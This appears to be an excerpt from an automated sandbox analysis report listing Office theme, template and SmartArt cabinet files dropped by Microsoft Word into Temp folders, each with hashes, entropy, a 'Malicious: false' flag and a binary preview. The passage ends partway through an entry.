D..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD6D39.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.516423078177173
Encrypted:	false
SSDEEP:	6:Q+sxnxUX7kARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny5ymD0wbnKNAH/lMz1
MD5:	5402138088A9CF0993C08A0CA81287B8
SHA1:	D734BD7F2FB2E0C7D5DB8F70B897376ECA935C9A
SHA-256:	5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137
SHA-512:	F40A8704F16AB1D5DCD861355B07C7CB555934BB9DA85AACDCF869DC942A9314FFA12231F9149D28D438BE6A1A14FCAB332E54B6679E29AD001B546A0F48DE64
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.l.a.t.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6EB2.tmp\Damask.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Local\Temp\TCD6EB2.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.544065206514744
Encrypted:	false
SSDEEP:	6:Q+sxnxUXCARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyy6ymD0wbnKNAH/lMz1
MD5:	06B3DDEFF905F75FA5FA5C5B70DCB938
SHA1:	E441B94F0621D593DC870A27B28AC6BE3842E7DB
SHA-256:	72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A
SHA-512:	058792BAA633516037E7D833C8F59584BA5742E050FA918B1BEFC6F64A226AB3821B6347A729BEC2DF68BB2DFD2F8E27947F74CD4F6BDF842606B9DEDA0B75CC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.a.m.a.s.k...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD724F.tmp\Mesh.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCD724F.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5303110391598502
Encrypted:	false
SSDEEP:	6:Q+sxnxUXzRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnylymD0wbnKNAH/lMz1
MD5:	8D1E1991838307E4C2197ECB5BA9FA79
SHA1:	4AD8BB98DC9C5060B58899B3E9DCBA6890BC9E93
SHA-256:	4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9
SHA-512:	DCDC9DB834303CC3EC8F1C94D950A104C504C588CE7631CE47E24268AABC18B1C23B6BEC3E2675E8A2A11C4D80EBF020324E0C7F985EA3A7BBC77C1101C23D01
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.s.h...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD731D.tmp\Main_Event.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Local\Temp\TCD731D.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5434534344080606
Encrypted:	false
SSDEEP:	6:Q+sxnxUXIc5+RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny4KcymD0wbnKNAH/lMz1
MD5:	C9812793A4E94320C49C7CA054EE6AA4
SHA1:	CC1F88C8F3868B3A9DE7E0E5F928DBD015234ABA
SHA-256:	A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC
SHA-512:	D28AADEDE0473C5889F3B770E8D34B20570282B154CD9301932BF90BF6205CBBB96B51027DEC6788961BAF2776439ADBF9B56542C82D89280C0BEB600DF4B633
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.a.i.n._.E.v.e.n.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD739B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.4699940532942914
Encrypted:	false
SSDEEP:	6:fxnxUXGWWYlIWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxny2WzIgN2RGHmD0wbnKYZAH+Vwv
MD5:	55BA5B2974A072B131249FD9FD42EB91
SHA1:	6509F8AC0AA23F9B8F3986217190F10206A691EA
SHA-256:	13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7
SHA-512:	3DFB0B21D09B63AF69698252D073D51144B4E6D56C87B092F5D97CE07CBCF9C966828259C8D95944A7732549C554AE1FF363CB936CA50C889C364AA97501B558
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.s.i.g.h.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD739B.tmp\Insight design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Local\Temp\TCD73DB.tmp\Vapor_Trail.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD73DB.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.5359188337181853
Encrypted:	false
SSDEEP:	6:Q+sxnxUXe46x8RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyO3UymD0wbnKNAH/lMz1
MD5:	0FEA64606C519B78B7A52639FEA11492
SHA1:	FC9A6D5185088318032FD212F6BDCBD1CF2FFE76
SHA-256:	60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13
SHA-512:	E04102E435B8297BF33086C0AD291AD36B5B4A97A59767F9CAC181D17CFB21D3CAA3235C7CD59BB301C58169C51C05DDDF2D637214384B9CC0324DAB0BB1EF8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.p.o.r._.T.r.a.i.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\cab58E5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	7.662386258803613
Encrypted:	false
SSDEEP:	384:M7FUtfIdqSHQs7G8E0GftpBjED/C4RQrFLrHRN7TT8DlvQyUTL2mH:sWgdqR2G8Pi6D6YQZTTMvU+mH
MD5:	ABBF10CEE9480E41D81277E9538F98CB
SHA1:	F4EA53D180C95E78CC1DA88CD63F4C099BF0512C
SHA-256:	557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957
SHA-512:	9430DAACF3CA67A18813ECD842BE80155FD2DE0D55B7CD16560F4AAEFDA781C3E4B714D850D367259CAAB28A3BF841A5CB42140B19CFE04AC3C23C358CA87FFB
Malicious:	false
Preview:	MSCF............D................................?..................................architecture.glox.................Content.inf..q5.^...[.....0y......../..CL.C5.Q..U5g.z....UUUMPC...C..P....T.....=..s..4c...-3H..E...2..2*..T...../.i.;$..............%...................'h.........#0.......[........c.h.....O...%.61...[.J..:.,^....W.]$..u...N.R.....H.......:%I.g5Kd.n6...W2.#.UL..h.8NN../.P...H.;@.N.F...v."h..K.....~.....8...{.+...&.#A.Q'..A.....[NJ.X.....\|.\|.G5...vp.h.p..1.....-...gECV.,o{6W.#L....4v..x..z..)[.......T.....BQ.pf..D.}...H....V..[._.'.......3..1....?m..ad..c(K.......N.N.6F%.m......9...4..]?...l6..).\p;w.s....@...I%H.....;\...R......f...3~:C...A..x....X...>...:~.+..r@..."......I..m.y..)F.l..9...6....m...=..Q.F.z..u......J].{WX...V.Z.b.A0B..!....~.;Z.....K.`c..,X.MFz....].Q.2.9..L."...]...6...JOU..6...~../......4A.\|.......i.LKrY...2.R.o..X.\....0.%......>H.....8.z..^....5d\|...4\|...C......R28.E......a....e...J.S..Ng.]<&..mm

C:\Users\user\AppData\Local\Temp\cab5905.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20235
Entropy (8bit):	7.61176626859621
Encrypted:	false
SSDEEP:	384:j3W3yGyjgbA8E0GftpBjEHvFLrHRN7pDAlI66Yv1:j3WFyAA8Pi6HVpDZ66c1
MD5:	E3C64173B2F4AA7AB72E1396A9514BD8
SHA1:	774E52F7E74B90E6A520359840B0CA54B3085D88
SHA-256:	16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094
SHA-512:	7ED618578C6517ED967FB3521FD4DBED9CDFB7F7982B2B8437804786833207D246E4FCD7B85A669C305BE3B823832D2628105F01E2CF30B494172A17FC48576D
Malicious:	false
Preview:	MSCF............D................................?..................................BracketList.glox.................Content.inf....7r...[.... G.q..@...B.....?X!.A.......!........X..Vk.JK...Z..=......PD.....P....5...jp..+..T....b.)np5.7.....Zz........... ..!.....S......1....`....h......T?.Nq../......z....[..:..5f;....O...d.FxD...4...Z....[..a...w..W.[..P...5.]...6..."...+t].!...2\%%`Q.\..)...=>.)......a.$.2.,...2,.Lw.?..+..qf....h....T/B.....}T.E...'.%.....,.......X....b..gt.hPYc\|.....a...j...=...{..a.`!8!..\|...L.T..k..!,.R.z/W....{..,...+..w.m..sQ..7<x..B....?....\.)..l...d...}.....v..W.C..'=p1c.Z=.W.g.e....&wm..N,..K.T../.oV../=9.}.....".28...r.Q....dzj{....S...1m...x9_...2PXpa...Q.n.$z...c..SGq...k......}kPE.....3.\|.5A.>..6.......+)qCB....q....qNkGe...W]..o..Z...J.<.i......qq.8....q..BE.(...._h.U.\@3.F...KdO..=1j+....).Q.\|B..Z..%......LDYk....j.....{klDW..#CVy}...X..O!..}..s..&..DC.....tL.j..b.......[...n.'..1..Xc...9Q..gM.....n..3...v.....~.).

C:\Users\user\AppData\Local\Temp\cab5906.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20554
Entropy (8bit):	7.612044504501488
Encrypted:	false
SSDEEP:	384:zEAH676iPi8+IS5iqn7G8E0GftpBjExDxIHFLrHRN7Ke/ll7PK/pGaz6:zEhG8+ISrG8Pi6xDxCKoIGaz6
MD5:	486CBCB223B873132FFAF4B8AD0AD044
SHA1:	B0EC82CD986C2AB5A51C577644DE32CFE9B12F92
SHA-256:	B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616
SHA-512:	69A48BF2B1DB64348C63FC0A50B4807FB9F0175215E306E60252FFFD792B1300128E8E847A81A0E24757B5F999875DA9E662C0F0D178071DB4F9E78239109060
Malicious:	false
Preview:	MSCF....:.......D...........................:....?..................................PictureFrame.glox.................Content.inf........[.... '.q..@.........<./..+./. ...."o.o./..{^a.7^.D.HA....^J... ...........T%q..b...+pz.n.=....jT.+M..=H..A...py.3.........H...N...[..%..~....>.%....3.r...wx.....0.....7..94..2..45..7f.......D.. ...[...f.:H..../N..4.....8.....:x.I....u\|.`."...\..N..%.M#..^v$.*....T.m.....?.-.wki.X..8..F.G..Y.^8...-....+.&.+&.No...e!.#.8.....YF.......<w.....=.Q.S..7....MW....M..9A.3..c..L....\|.E-Y....]n".\|....b9..l@.d.T...a.f...~.&k.[..yS..q..]L}..)w.....$.@..v...[9..X....V...a.NK....m9.5.....Kq.;9`.U.e...8.<..)Y.H........z.G...3n.yWa.g.>.w!e.B8:......f..h..z....o.1<.RT..WK...?g .N..+..p.B.\|...1pR_......@...a....aA......ye..8...+M.l..(.d..f.;....g........8R.\.w.:ba....%...\|p....`lrA.\|....a.U.m=ld......7....#..?Dq..D.....(.5.K.a..c.G..7..]hF..%:}......}J.j$.....4...l];..v>.&j........Y.vk..$1.@X$...k...9..?...z..![..../...).a.=....aZ^.3?....

C:\Users\user\AppData\Local\Temp\cab5907.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20457
Entropy (8bit):	7.612540359660869
Encrypted:	false
SSDEEP:	384:KyeISBuydn5rpmp77G8E0GftpBjE/kFLrHRN7ngslI66YVj:KHISBvd5rpmFG8Pi6/6nK666j
MD5:	4EFA48EC307EAF2F9B346A073C67FCFB
SHA1:	76A7E1234FF29A2B18C968F89082A14C9C851A43
SHA-256:	3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2
SHA-512:	2705644D501D85A821E96732776F61641FE82820FD6A39FFAF54A45AD126C886DC36C1398CDBDBB5FE282D9B09D27F9BFE7F26A646F926DA55DFF28E61FBD696
Malicious:	false
Preview:	MSCF............D................................?..................................chevronaccent.glox.................Content.inf..O.$N...[.........B.....?.....$Zy..Zkr...y<.....Di-.aVX/....h..-.~........#.../.Fz....T...p....A..eHMe[..p...=................f..../%o......F@..=..$.B!....}.0..g..^vlI......f.W.F...Nm..2`...)...,.HL4.nsl.F.ir.k..e.!^.j2.v.iT....t.....!h..Y...2Q..-.x.,.Xj.U.cj,....9.....)..W..n3f.......(cH.D.4M.!.+..4..3r..y......\|r..@.PD.R..#...F..nJAR..1{-.....u3..$..L.b+h....:lZ.>....q.?. ~l..^.%.m....a...cG.h.?.\|.?7.'....b.G.4..'..A...o.Z...//..?...d.......C..Z.....]Yv.g.]..... .........]x.#=.../.7;R.j....G.....zq=O`[.'5g.D.u..)..../../.v.JmCW.da....3.f..C.z%...S=....;A.q.\|....z.E.aRu........ k..J"+.f.S.@.........eD4....\0..t./U..%.H..........M:..U.......J...Z..H.DG..u^..D..P....`.^b.........`c......#.....c.?...#..C.V.&.'..f.'...f.[..F.O..a...&..{TiXg4; .X."..0...B.#..^..........N"..w.@f...gd.S..K.....E....ZR...;.twR>.z.

C:\Users\user\AppData\Local\Temp\cab5908.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	23597
Entropy (8bit):	7.692965575678876
Encrypted:	false
SSDEEP:	384:y6aR//q0bJi/Uj+957G8E0GftpBj/4YOFLrHRN7LxhKll7PK/ph:y6I/Li/UjmVG8PiZ4YsLxh6Ih
MD5:	7C645EC505982FE529D0E5035B378FFC
SHA1:	1488ED81B350938D68A47C7F0BCE8D91FB1673E2
SHA-256:	298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D
SHA-512:	9F410DA5DB24B0B72E7774B4CF4398EDF0D361B9A79FBE2736A1DDD770AFE280877F5B430E0D26147CCA0524A54EA8B41F88B771F3598C2744A7803237B314B2
Malicious:	false
Preview:	MSCF............D................................?..................................pictureorgchart.glox.................Content.inf.W..y....[.............../.jC....U.CUUUTU.5...jjPU..MP....T..0....o0.......Y.=....P.({.3.p..."pA!>r../3.q..7...........!...TO....(..%......6...3E?....~......CZmndse.Qy....p....h....=.:5...F..%.E.&.v.`I~. ..%._..b]..Y..Q..R.........nN.q8c..a..L..X/.M...PP.q..SpZ.K]>D"Pf..B.c....0..\|I.Q.,.g/..Kev.../..=......w..}3.....(....+#T.....K`N.u..Z.....rriK.(...(...6.<R.%.]..NX..b..].C.u....++......Ia.x. .7....J.#............w>....7..R...H>....@%....~.yA.......~.UB... .P..$...-...v.....=M."....hw..b....{.....2pR....].C..u@=G."Y..;..gc/N.N.YB.Z.q.#....$....j.D..P..!.)S.{..c....&'E.lJ%.\|O.a...FG.\|.....A..h.=c7.)d.5...D...L...IQ..TTE.NL-.*M..>..p0.`......m..,.w#rZ..wR\@.Wn..@Q...}..&...E...0K.NY....M.71..`.M./:.>..._L..m...,U.l....._fi...nj9..,..w.s.kJ.m.s.M.vmw.!.....B.s.%.-').h.....)c.l....F..`3r...-.....0..7..&N.....n.#H...<7

C:\Users\user\AppData\Local\Temp\cab592B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.65837691872985
Encrypted:	false
SSDEEP:	384:PWew5RNDcvPgbA8E0GftpBjE0hsyaFLrHRN7BD9lI66YR:P3GRNDcEA8Pi60hsyABDo66g
MD5:	7BF88B3CA20EB71ED453A3361908E010
SHA1:	F75F86557051160507397F653D7768836E3B5655
SHA-256:	E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283
